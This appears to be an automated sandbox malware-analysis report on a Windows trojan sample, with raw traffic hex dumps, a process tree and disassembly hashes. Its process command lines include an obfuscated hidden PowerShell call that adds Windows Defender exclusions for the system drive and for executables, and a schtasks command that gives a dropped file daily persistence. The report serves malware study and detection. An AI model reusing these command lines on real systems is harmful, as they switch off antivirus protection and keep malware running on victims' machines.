2023-05-14 02:35:47 UTC	3086	IN	Data Raw: 03 6a ac fc e8 05 00 00 00 54 1a ca a2 26 48 ff c4 f9 eb 07 92 74 f2 ac 29 9f 75 72 07 92 f7 80 e4 50 73 4d 48 ff c4 38 ed 74 06 56 21 4e 80 44 8d 48 ff c4 38 c0 74 02 a0 d4 48 ff c4 48 ff c4 48 ff c4 38 c9 e9 04 00 00 00 5e f1 ea b6 74 03 ac dc c7 48 ff c4 eb 07 c1 1a 8d a0 41 52 b5 48 ff c4 eb 07 d8 ad 83 c3 c6 9c df 9d e9 07 00 00 00 8b 23 c3 60 eb be a0 eb 07 b8 4e d9 9b 31 18 58 48 33 c9 8a 0f e9 06 00 00 00 ad 8d 7d 5f f0 5f 48 8d 64 24 f8 eb 04 fa 30 95 57 48 89 04 24 e9 07 00 00 00 3e 83 d0 dc 40 9d 2a 9f eb 03 a8 fc 1f 38 f6 74 03 5f 9e 11 e8 05 00 00 00 85 36 6d 7c 2a 48 8d 64 24 08 e9 07 00 00 00 75 40 84 82 7f 96 a0 9e 58 eb 02 35 c2 eb 04 bc fd f9 48 48 ff c7 eb 06 b2 69 ca ae 3d c8 9c f9 72 02 ef 9c e8 04 00 00 00 7c c8 4b 7b 48 83 04 24 0c Data Ascii: jT&Ht)urPsMH8tV!NDH8tHHH8^tHARH#`N1XH3}__Hd$0WH$>@8t_6m\|Hd$u@X5HHi=r\|K{H$
2023-05-14 02:35:47 UTC	3102	IN	Data Raw: 07 eb d5 d6 59 b0 35 15 72 03 66 f3 3b e8 05 00 00 00 69 7b 92 41 9a 48 ff c4 38 c9 e9 05 00 00 00 69 45 4c d2 cb 74 02 66 d5 48 ff c4 f8 e9 04 00 00 00 6e 5e 87 d2 73 05 e9 ee f5 91 5c 48 ff c4 48 ff c4 f9 eb 02 98 2f 72 07 87 35 7b 72 d2 3c 88 48 ff c4 f8 eb 05 96 7b 7f 53 e1 73 03 c2 18 f7 48 ff c4 eb 05 66 fa 98 66 d8 48 ff c4 eb 03 c7 73 d2 48 ff c4 f9 72 07 d0 1d cd ee 17 f4 9d e9 04 00 00 00 b1 8a c4 af e9 07 00 00 00 ca 27 b7 98 9c 36 33 9e 58 eb 03 c3 62 ca eb 06 69 fd a4 69 8e fb 48 33 db 9c eb 06 61 e9 e9 c1 d4 c4 38 c0 74 07 ba fc c3 b9 7c ce f5 e8 02 00 00 00 78 3d 48 ff c4 f8 73 05 9c e3 29 f7 fb 48 ff c4 eb 03 fb 42 37 48 ff c4 f9 eb 05 cd 38 cc b6 26 72 05 5f e1 47 81 93 48 ff c4 eb 06 f5 e7 8a 93 a9 3e 48 ff c4 f8 73 02 f8 d2 48 ff c4 e9 Data Ascii: Y5rf;i{AH8iELtfHn^s\HH/r5{r<H{SsHffHsHr'63XbiiH3a8t\|x=Hs)HB7H8&r_GH>HsH
2023-05-14 02:35:47 UTC	3118	IN	Data Raw: fe e7 41 99 29 e8 03 00 00 00 7c af 23 48 83 c4 08 e9 02 00 00 00 be 53 eb 06 77 64 ea 43 c6 25 9e 48 8b 04 24 eb 06 ad 71 45 aa a1 ad 48 8d 64 24 08 e9 04 00 00 00 fc 70 43 68 eb 04 71 ed a8 8a 48 3b c3 e9 07 00 00 00 32 a6 66 e8 41 9f 2d 48 8d 64 24 f8 eb 06 79 bc a5 a4 ec d6 48 89 04 24 e9 05 00 00 00 a9 80 43 c7 3d 9f f8 eb 03 fa d5 81 73 02 c8 13 e8 03 00 00 00 40 d4 5e 48 83 c4 08 eb 02 53 f7 eb 05 99 5a 2a 63 b7 9e 58 e9 02 00 00 00 fa 40 eb 02 78 3d 0f 85 15 fe ff ff e9 ac 3a ff ff e9 00 00 00 00 e9 bb 00 00 00 e9 02 00 00 00 79 a2 48 8d 64 24 f8 48 89 04 24 9f eb 07 2e 67 a3 d5 55 b3 46 f9 e9 04 00 00 00 6d 82 12 5e 72 03 30 3e 3e e8 05 00 00 00 cd 29 f0 a2 f8 48 ff c4 e9 02 00 00 00 c2 4d 48 ff c4 38 ed eb 06 86 70 b7 7c a3 f5 74 05 d3 a6 b0 b4 Data Ascii: A)\|#HSwdC%H$qEHd$pChqH;2fA-Hd$yH$C=s@^HSZ*cX@x=:yHd$H$.gUFm^r0>>)HMH8p\|t
2023-05-14 02:35:47 UTC	3134	IN	Data Raw: 00 e8 e1 fd fe ff f3 16 00 00 80 16 00 00 7b 16 00 00 22 16 00 00 04 00 00 00 43 00 00 00 2a 00 00 00 58 00 00 00 4e 00 00 00 62 00 00 00 31 00 00 00 10 00 00 00 5f 00 00 00 44 00 00 00 51 00 00 00 23 00 00 00 05 00 00 00 47 00 00 00 15 00 00 00 3d 00 00 00 f3 aa e9 2d 76 fe ff 50 e9 05 00 00 00 9d 6d 40 d7 29 9f eb 04 52 a2 87 18 38 db e9 05 00 00 00 9d f8 ae b7 26 74 07 46 af ce 44 ab b2 a4 e8 05 00 00 00 b6 4e 63 f8 1c 48 83 c4 08 eb 07 dc 3c cd f5 4a de 65 9e 58 e9 05 00 00 00 dd b7 9e c7 4f f3 aa e9 08 76 fe ff eb 04 9f e5 ac ea 9c e9 06 00 00 00 81 32 52 9f a2 8b eb 04 9d b1 83 d4 e8 04 00 00 00 21 56 18 c9 48 83 04 24 13 eb 03 6b 5c d1 c3 48 1b 36 b9 e9 04 00 00 00 db ea d4 1c 9d e9 07 00 00 00 a8 53 a4 b1 74 f2 f1 e9 03 00 00 00 76 fb 35 f3 aa e9 Data Ascii: {"C*XNb1_DQ#G=-vPm@)R8&tFDNcH<JeXOv2R!VH$k\H6Stv5
2023-05-14 02:35:47 UTC	3150	IN	Data Raw: 0a 03 0a 0e 0a 06 01 28 00 00 00 0f 03 0a 01 0b 03 01 0a 0a 03 18 01 0a 07 20 8d 12 03 40 01 00 00 00 0a 07 0a 41 64 2e 40 01 00 00 00 0a 07 01 08 00 00 00 00 00 00 00 05 03 0e 01 01 03 0a 0e 09 0a 07 0a 01 00 00 00 00 00 00 00 0a 00 13 0a 0a 03 0a 0a 08 00 1e 00 00 00 0a 03 0a 13 0a 03 01 13 0c 03 0a 01 0a 03 13 0a 0a 03 0a 0a 08 00 04 00 00 00 0a 07 20 88 e7 06 40 01 00 00 00 09 0a 07 20 95 6a 08 40 01 00 00 00 0a 07 0a 57 64 2e 40 01 00 00 00 0a 07 01 08 00 00 00 00 00 00 00 05 03 0e 01 01 03 0a 0e 09 0a 03 0a 0e 0a 07 01 28 00 00 00 00 00 00 00 0f 03 0a 01 0a 03 01 13 01 03 01 0a 0a 03 0a 0e 0a 06 01 28 00 00 00 0f 03 0a 01 0b 03 01 0a 0a 03 13 01 0a 03 0a 13 0a 06 01 5b 01 00 00 0f 03 0a 01 0b 03 01 0a 0a 03 13 01 0a 03 0a 13 0a 07 01 00 00 00 40 00 Data Ascii: ( @Ad.@ @ j@Wd.@(([@
2023-05-14 02:35:47 UTC	3166	IN	Data Raw: 0a 03 18 01 0a 03 0a 18 0a 03 01 13 0a 07 0b 19 00 00 00 00 00 00 00 0f 03 0a 01 0f 03 0a 0b 0a 03 07 0a 0b 02 03 07 0a 02 13 03 0a 07 0a 20 00 00 00 00 00 00 00 0a 02 1c 0a 0a 03 0a 0e 0a 07 01 40 00 00 00 00 00 00 00 0f 03 0a 01 0a 03 10 0a 0a 02 0a 13 0a 02 16 0a 0a 03 0a 0e 0a 06 01 28 00 00 00 0f 03 0a 01 0b 03 01 0a 0a 03 18 01 0a 07 20 03 c7 07 40 01 00 00 00 0a 07 0a 92 6a 2e 40 01 00 00 00 0a 07 01 08 00 00 00 00 00 00 00 05 03 0e 01 01 03 0a 0e 09 0a 03 0a 0e 0a 06 01 28 00 00 00 0f 03 0a 01 0b 03 01 0a 0a 03 13 01 0a 03 0a 0a 08 00 04 00 00 00 0a 07 20 f9 c8 07 40 01 00 00 00 09 0a 07 0a 00 80 00 00 00 00 00 00 0a 02 10 0a 0a 03 0a 16 0a 03 01 16 0c 03 0a 01 0a 03 16 0a 0a 03 0a 0e 0a 06 01 30 00 00 00 0f 03 0a 01 0b 03 01 0a 0a 03 18 01 0a 07 Data Ascii: @( @j.@( @0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exePID: 6972, Parent PID: 3452

General

Target ID:	0
Start time:	04:34:19
Start date:	14/05/2023
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe
Imagebase:	0x7ff632970000
File size:	1382400 bytes
MD5 hash:	E1AA70E7EF25FDADD52160E9B9F37B37
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 2108, Parent PID: 6972

General

Target ID:	10
Start time:	04:34:41
Start date:	14/05/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell "Start-Process <#uvbdteguxxcvxgbwugr#> powershell <#eusqdgkfiwwiaydnu#> -Verb <#jdnlkeczqufwm#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
Imagebase:	0x7ff72b2d0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 3100, Parent PID: 2108

General

Target ID:	11
Start time:	04:34:41
Start date:	14/05/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 6672, Parent PID: 2108

General

Target ID:	12
Start time:	04:34:45
Start date:	14/05/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
Imagebase:	0x7ff72b2d0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 3420, Parent PID: 6672

General

Target ID:	13
Start time:	04:34:45
Start date:	14/05/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: MonDisc.exePID: 680, Parent PID: 6972

General

Target ID:	15
Start time:	04:35:21
Start date:	14/05/2023
Path:	C:\Users\user\AppData\Roaming\MonDisc.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\MonDisc.exe
Imagebase:	0x7ff6ed0f0000
File size:	1619428 bytes
MD5 hash:	EEF2E49FD27D42237FFB929E1A39FC2D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 54%, ReversingLabs Detection: 56%, Virustotal, Browse
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 5980, Parent PID: 680

General

Target ID:	18
Start time:	04:35:45
Start date:	14/05/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell "Start-Process <#hmfvaudyls#> powershell <#hmfvaudyls#> -Verb <#hmfvaudyls#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
Imagebase:	0x7ff72b2d0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 6000, Parent PID: 680

General

Target ID:	19
Start time:	04:35:45
Start date:	14/05/2023
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /sc daily /st 12:00 /f /tn "MonDisc" /tr "C:\Users\user\AppData\Roaming\MonDisc.exe"
Imagebase:	0x7ff696420000
File size:	226816 bytes
MD5 hash:	838D346D1D28F00783B7A6C6BD03A0DA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6020, Parent PID: 5980

General

Target ID:	20
Start time:	04:35:45
Start date:	14/05/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 6140, Parent PID: 6000

General

Target ID:	21
Start time:	04:35:45
Start date:	14/05/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: MonDisc.exePID: 2228, Parent PID: 1080

General

Target ID:	22
Start time:	04:35:45
Start date:	14/05/2023
Path:	C:\Users\user\AppData\Roaming\MonDisc.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\MonDisc.exe
Imagebase:	0x7ff6ed0f0000
File size:	1619428 bytes
MD5 hash:	EEF2E49FD27D42237FFB929E1A39FC2D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 5480, Parent PID: 5980

General

Target ID:	23
Start time:	04:35:47
Start date:	14/05/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force
Imagebase:	0x7ff72b2d0000
File size:	447488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Analysis Process: conhost.exePID: 5336, Parent PID: 5480

General

Target ID:	24
Start time:	04:35:47
Start date:	14/05/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: LoWin64.exePID: 1360, Parent PID: 6972

General

Target ID:	25
Start time:	04:35:48
Start date:	14/05/2023
Path:	C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe
Imagebase:	0x7ff6b1ca0000
File size:	1628132 bytes
MD5 hash:	79F329EA2EC0C1BAED4F262F79B48BA5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 49%, ReversingLabs Detection: 54%, Virustotal, Browse

Show Windows behavior

Chronological Activities

Analysis Process: MonDisc.exePID: 6604, Parent PID: 3452

General

Target ID:	26
Start time:	04:36:01
Start date:	14/05/2023
Path:	C:\Users\user\AppData\Roaming\MonDisc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\MonDisc.exe"
Imagebase:	0x7ff6ed0f0000
File size:	1619428 bytes
MD5 hash:	EEF2E49FD27D42237FFB929E1A39FC2D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: MonDisc.exePID: 4976, Parent PID: 3452

General

Target ID:	27
Start time:	04:36:09
Start date:	14/05/2023
Path:	C:\Users\user\AppData\Roaming\MonDisc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\MonDisc.exe"
Imagebase:	0x7ff6ed0f0000
File size:	1619428 bytes
MD5 hash:	EEF2E49FD27D42237FFB929E1A39FC2D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: powershell.exePID: 2108, Parent PID: 6972COMMON

Executed Functions

Function 00007FFBAC4F1355 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.354835086.00007FFBAC4F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC4F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffbac4f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07619f96095842d0c0f02c34c889d0c1dabf1ee130f3815c66c06bac9d50aba9
Instruction ID: e9680868d33cefba2f7470881a06b00517bdd6a799d56a0749dbd31deb96fed1
Opcode Fuzzy Hash: 07619f96095842d0c0f02c34c889d0c1dabf1ee130f3815c66c06bac9d50aba9
Instruction Fuzzy Hash: EF01677111CB0C4FD744EF0CE451AA6B7E0FB95324F10056DE58AC3661DA36E882CB45

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 6672, Parent PID: 2108COMMON

Executed Functions

Function 00007FFBAC4F84FC Relevance: 11.5, Strings: 8, Instructions: 1460COMMON

Download Yara Rule

Strings

__^, xrefs: 00007FFBAC4F8712
__^, xrefs: 00007FFBAC4F8772
__^, xrefs: 00007FFBAC4F87D2
__^, xrefs: 00007FFBAC4F8872
__^, xrefs: 00007FFBAC4F8722
__^, xrefs: 00007FFBAC4F86C2
__^, xrefs: 00007FFBAC4F86D2
__^, xrefs: 00007FFBAC4F8812

Memory Dump Source

Source File: 0000000C.00000002.403864985.00007FFBAC4F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC4F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffbac4f0000_powershell.jbxd

Similarity

API ID:
String ID: __^$__^$__^$__^$__^$__^$__^$__^
API String ID: 0-3256158431
Opcode ID: ae89945ee820386bfa832c6a9601da54153e72ce71329b43f7b5969ef60a800d
Instruction ID: 7351be3369fdd6c8df7a893a1910c2a64246c498b2ad46d3f58e386de6f63943
Opcode Fuzzy Hash: ae89945ee820386bfa832c6a9601da54153e72ce71329b43f7b5969ef60a800d
Instruction Fuzzy Hash: 42625DF1A0DA8A4FEB56DB28C4995A47BE1FF66714F0400BAD489CF193DE24E846C7C4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC5B3CC0 Relevance: 2.5, Strings: 1, Instructions: 1207COMMON

Download Yara Rule

Strings

S_L, xrefs: 00007FFBAC5B3E74

Memory Dump Source

Source File: 0000000C.00000002.404281320.00007FFBAC5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffbac5b0000_powershell.jbxd

Similarity

API ID:
String ID: S_L
API String ID: 0-132963775
Opcode ID: 4cc4e773cb9da1cb199ea8327acd9def0ba3594de822e023669451950cac966c
Instruction ID: 270d6c34e064557244d76bcdbf4ccb8c6ca7bc82f278b3a909d82992cc8a78f4
Opcode Fuzzy Hash: 4cc4e773cb9da1cb199ea8327acd9def0ba3594de822e023669451950cac966c
Instruction Fuzzy Hash: EF72F7A190EBCA4FE7A7973C985A1B47FE1DF56210B0901FBE489C7193EE18DC068356

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC4F751C Relevance: .6, Instructions: 552COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.403864985.00007FFBAC4F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC4F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffbac4f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 524c40b339551f0229dee23a670d63b07f904176c38c6ffc23d23906c90cffb0
Instruction ID: 0966d2251315f307a24ae00f0f371fd7fcdb9ee4c758d43eb7053fb0697a18f3
Opcode Fuzzy Hash: 524c40b339551f0229dee23a670d63b07f904176c38c6ffc23d23906c90cffb0
Instruction Fuzzy Hash: 1202E270A08A4D8FEF89DF6CC485AA97BE1FF68714F140169D449C7296CE39E846CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC4F383D Relevance: .5, Instructions: 547COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.403864985.00007FFBAC4F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC4F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffbac4f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 506e6c106981ec467bcc60be22b907228ec56318f0a25493d23e8fd761c14fa6
Instruction ID: 093be1f8e687ccaf8cde000af58051eb79cfac67944d63def8eb19137cf71d97
Opcode Fuzzy Hash: 506e6c106981ec467bcc60be22b907228ec56318f0a25493d23e8fd761c14fa6
Instruction Fuzzy Hash: C44197E790E2D60FE7039B7CD4690EA7FA0DF5262871501B7D885CB0A3DD08984EC7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC4F62FC Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.403864985.00007FFBAC4F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC4F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffbac4f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e53c801fc5867caf52d09e889c7ef980b6d5b947301ff64cb72041a0404f148
Instruction ID: 8fd22b416385d538bb35eff821d5414e8eff22623c64119184fdca4a37f8c004
Opcode Fuzzy Hash: 4e53c801fc5867caf52d09e889c7ef980b6d5b947301ff64cb72041a0404f148
Instruction Fuzzy Hash: 3E31817091CA4C8FDB18DF5C984A6A97BE0FB99721F00422FE449D3652DB70A8568BC2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC4F7426 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.403864985.00007FFBAC4F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC4F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffbac4f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 649e3399bb65cb186615e1e2d2e33b8c283f1b80b97283fd1e8750a74ae6929d
Instruction ID: 8a3062ac4a6fccac34832c06cafbce49af6785c701ba37e3203b9c81f1f749da
Opcode Fuzzy Hash: 649e3399bb65cb186615e1e2d2e33b8c283f1b80b97283fd1e8750a74ae6929d
Instruction Fuzzy Hash: 7621EF7190CA4C8FEB59DFA8984A7F97BE0EB96320F04416BD44CC3152DA24A40ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC5B40CF Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.404281320.00007FFBAC5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffbac5b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ca5dcedcffa9773d554bbab5a16f95bcd00b813b863bd310d3819b5954e3384
Instruction ID: 4387392054f643d6161dac7983cbaf0c569b93489d60fbb344723a9832fc9b46
Opcode Fuzzy Hash: 4ca5dcedcffa9773d554bbab5a16f95bcd00b813b863bd310d3819b5954e3384
Instruction Fuzzy Hash: 07213AE2D0EA4B4FF7B6DA2CC45A1746AD1EF94310B4800B9E94EC71E2EF18DC018245

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC5B43BC Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.404281320.00007FFBAC5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffbac5b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbba39cbfa331a8916c918ec1bb47363d1b7c506d53e2df18f3f0e1f0ffbd8ca
Instruction ID: 4a74cca9b8e5ad2ad8880e9cd2bfc688b3c8c98826911c8b72228daccd635aa3
Opcode Fuzzy Hash: bbba39cbfa331a8916c918ec1bb47363d1b7c506d53e2df18f3f0e1f0ffbd8ca
Instruction Fuzzy Hash: DC11C2B291F9568FEBB6D628D45A5B4ABE1EF4432074800BAE80DC7193EF18EC558351

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC5B6803 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.404281320.00007FFBAC5B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC5B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffbac5b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b08ad4c6a2e735aea98816075d94010f01373f3ed439f7c69111b4dcc8c03dfc
Instruction ID: b993411484383d05697c5d401adcc04c4e3a6cd8c47d81ce8ef68efdeb029f02
Opcode Fuzzy Hash: b08ad4c6a2e735aea98816075d94010f01373f3ed439f7c69111b4dcc8c03dfc
Instruction Fuzzy Hash: 1D11ECB290E68D8FEB99E758849A5F87FE1EF54311B1400BEE94DC7193DE149805C3A1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC4F74E8 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.403864985.00007FFBAC4F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC4F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffbac4f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afbeb2e48c342f55ee5bab793384a54ffe4b4e97f24d281d29874b89678cbd67
Instruction ID: f74c4337d319193244b4a949644b4b3e96b78d106cc19259891bebbf3d7f5f0c
Opcode Fuzzy Hash: afbeb2e48c342f55ee5bab793384a54ffe4b4e97f24d281d29874b89678cbd67
Instruction Fuzzy Hash: F701DBB190C7848EF746DFB8D84A3D87FD0EB12325F08416AC44887193DA69A019CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC4F1355 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.403864985.00007FFBAC4F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC4F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffbac4f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07619f96095842d0c0f02c34c889d0c1dabf1ee130f3815c66c06bac9d50aba9
Instruction ID: e9680868d33cefba2f7470881a06b00517bdd6a799d56a0749dbd31deb96fed1
Opcode Fuzzy Hash: 07619f96095842d0c0f02c34c889d0c1dabf1ee130f3815c66c06bac9d50aba9
Instruction Fuzzy Hash: EF01677111CB0C4FD744EF0CE451AA6B7E0FB95324F10056DE58AC3661DA36E882CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFBAC4F6A08 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.403864985.00007FFBAC4F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFBAC4F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ffbac4f0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c92ffe492055ed0105ec65489d66c0a878d73677dc002eebabf1e6a2421f09bd
Instruction ID: ceb0679dcc459528ba5ee2e1b044dc51f2985cd23cd3f4c45cdc812af49bd434
Opcode Fuzzy Hash: c92ffe492055ed0105ec65489d66c0a878d73677dc002eebabf1e6a2421f09bd
Instruction Fuzzy Hash: 03F084748486894FEB06DF38C81A4E97FE0EF13211B00029BE808C31A2DB249818CBC2

Uniqueness

